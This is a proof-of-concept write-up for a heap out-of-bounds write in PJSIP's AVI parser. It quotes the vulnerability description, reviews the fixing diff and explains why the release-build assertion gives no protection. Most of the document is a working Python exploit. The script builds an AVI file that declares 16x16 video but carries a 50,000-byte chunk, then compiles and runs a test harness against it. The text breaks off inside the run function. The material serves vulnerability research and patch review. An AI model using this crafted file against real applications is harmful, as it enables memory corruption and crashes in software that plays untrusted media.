
Proof-of-concept that crafts a malicious AVI file to trigger a heap out-of-bounds write in the PJSIP AVI parser (CVE-2026-77396), with ASan verification and patch analysis.
NIST description about CVE:
PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames.
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption
condition. No fixed version is available as of this review.
diff that we will primarily review:
git diff 7ecc65849\^..7ecc65849 -- pjmedia/src/pjmedia/avi_player.c 12:57
diff --git a/pjmedia/src/pjmedia/avi_player.c b/pjmedia/src/pjmedia/avi_player.c
index af66be12f..1db41f719 100644
--- a/pjmedia/src/pjmedia/avi_player.c
+++ b/pjmedia/src/pjmedia/avi_player.c
@@ -1218,12 +1218,40 @@ static pj_status_t avi_get_frame(pjmedia_port *this_port,
goto on_error2;
fport->size_left -= size_to_read;
} else {
- pj_assert(frame->size >= ch.len);
- status = file_read3(fport->fd, frame->buf, ch.len,
+ pj_uint32_t read_len = ch.len;
+
+ /* Clamp the read to the frame buffer capacity. A crafted
+ * file may declare a chunk larger than the buffer, whose
+ * size is derived from the (also file-supplied) video
+ * dimensions; never write past frame->buf (frame->size
+ * bytes). Do not rely on pj_assert() here, as it is a no-op
+ * in release builds.
+ */
+ if (read_len > frame->size) {
+ PJ_LOG(3, (THIS_FILE,
+ "AVI video chunk (%u) exceeds frame buffer "
+ "(%u), truncating",
+ (unsigned)ch.len, (unsigned)frame->size));
+ read_len = (pj_uint32_t)frame->size;
+ }
+
+ status = file_read3(fport->fd, frame->buf, read_len,
0, &size_read);
if (status != PJ_SUCCESS)
goto on_error2;
- frame->size = ch.len;
+
+ /* Skip any remaining chunk bytes that did not fit, so the
+ * file position stays aligned to the next chunk.
+ */
+ if (ch.len > read_len) {
+ status = pj_file_setpos(fport->fd,
+ (pj_off_t)ch.len - read_len,
+ PJ_SEEK_CUR);
+ if (status != PJ_SUCCESS)
+ goto on_error2;
+ }
+
+ frame->size = read_len;
fport->size_left = 0;
}
basically the vulnerable part:
pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;
ch is a chunk header read from the AVI file it has a len field that says how many bytes the video chunk contains. frame->buf is a heap buffer allocated based on the video’s declared dimensions (width × height × bytes-per-pixel).
this is supposed to be a check: pj_assert(frame->size >= ch.len)
but pj_assert is a no-op in release/production builds. So in any real deployment, there’s zero validation. The code just reads ch.len bytes straight into frame->buf.
in human words in debug builds: pj_assert(frame->size >= ch.len) would crash the program if the condition is false. In release builds: that line is gone, zero check happens, and file_read3 happily writes ch.len bytes into a buffer that’s too small.
craft an AVI file where:
The video stream header declares small dimensions (say 16×16) -< small frame->buf allocation A video chunk in the data section declares a large ch.len → file_read3 writes way past the buffer
Exploit:
import struct, os, subprocess, sys, signal, glob, argparse
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PJPROJECT = os.path.join(SCRIPT_DIR, "pjproject")
AVI_FILE = os.path.join(SCRIPT_DIR, "crash.avi")
TEST_SRC = os.path.join(SCRIPT_DIR, "test_avi.c")
TEST_BIN = os.path.join(SCRIPT_DIR, "test_avi")
FIX_COMMIT = "7ecc6584969a923c4190b6912afbf5952b5a4b9f"
VID_W = 16
VID_H = 16
BPP = 24
OVERFLOW = 50000
def craft_avi(path):
# strf (BITMAPINFOHEADER)
strf = b'strf' + struct.pack('<II', 40, 40)
strf += struct.pack('<iiHH', VID_W, VID_H, 1, BPP)
strf += b'MJPG' + struct.pack('<I', 0)
strf += struct.pack('<iiII', 0, 0, 0, 0)
# strh (stream header)
strh = b'strh' + struct.pack('<I', 56)
strh += b'vids' + b'MJPG'
strh += struct.pack('<IIIIIIIIIII', 0, 0, 0, 1, 30, 0, 1, 0, 0, 0, 0)
strh += struct.pack('<II', 0, 0)
# strl LIST
strl_body = b'strl' + strh + strf
strl = b'LIST' + struct.pack('<I', len(strl_body)) + strl_body
# avih
avih = b'avih' + struct.pack('<I', 56)
avih += struct.pack('<IIIIIIII', 33333, 0, 0, 0, 1, 0, 1, 0)
avih += struct.pack('<II', VID_W, VID_H)
avih += struct.pack('<IIII', 0, 0, 0, 0)
# hdrl LIST
hdrl_body = b'hdrl' + avih + strl
hdrl = b'LIST' + struct.pack('<I', len(hdrl_body)) + hdrl_body
# movi LIST the oversized chunk
movi_body = b'movi' + b'00dc'
movi_body += struct.pack('<I', OVERFLOW)
movi_body += b'\x41' * OVERFLOW
movi = b'LIST' + struct.pack('<I', len(movi_body)) + movi_body
# RIFF wrapper
avi_body = b'AVI ' + hdrl + movi
riff = b'RIFF' + struct.pack('<I', len(avi_body)) + avi_body
with open(path, 'wb') as f:
f.write(riff)
buf_est = VID_W * VID_H * 4
print(f"[*] wrote {path} ({len(riff)} bytes)")
print(f"[*] video: {VID_W}x{VID_H} MJPG, buffer ~{buf_est} bytes, chunk {OVERFLOW} bytes")
def find_libs():
lib_files = []
for sub in ["pjlib/lib", "pjlib-util/lib", "pjmedia/lib",
"pjnath/lib", "third_party/lib"]:
d = os.path.join(PJPROJECT, sub)
if os.path.isdir(d):
lib_files.extend(sorted(glob.glob(os.path.join(d, "*.a"))))
return lib_files
def compile_test():
if not os.path.isfile(TEST_SRC):
print(f"[-] {TEST_SRC} not found"); return False
lib_files = find_libs()
if not lib_files:
print("[-] pjproject not built. see README"); return False
inc = [f"-I{PJPROJECT}/{d}/include" for d in
["pjlib", "pjlib-util", "pjmedia", "pjnath", "pjsip"]]
cmd = (["gcc", "-o", TEST_BIN, TEST_SRC] + inc
+ ["-Wl,--start-group"] + lib_files + ["-Wl,--end-group"]
+ ["-lasound", "-luuid", "-lm", "-lpthread", "-lSDL2", "-lv4l2"])
print(f"[*] compiling {os.path.basename(TEST_SRC)} ...")
r = subprocess.run(cmd, capture_output=True, text=True)
if r.returncode != 0:
print(f"[-] compile failed:\n{r.stderr}"); return False
print(f"[+] built {TEST_BIN}")
return True
def run_test():
if not os.path.isfile(TEST_BIN):
print("[-] test binary not found"); return
print(f"\n[*] running {os.path.basename(TEST_BIN)} {os.path.basename(AVI_FILE)}")
r = subprocess.run(
[TEST_BIN, AVI_FILE],
capture_output=True, text=True, timeout=10,
)
if r.stdout.strip():
print(r.stdout.strip())
if r.stderr.strip():
for line in r.stderr.strip().splitlines()[:15]:
print(line)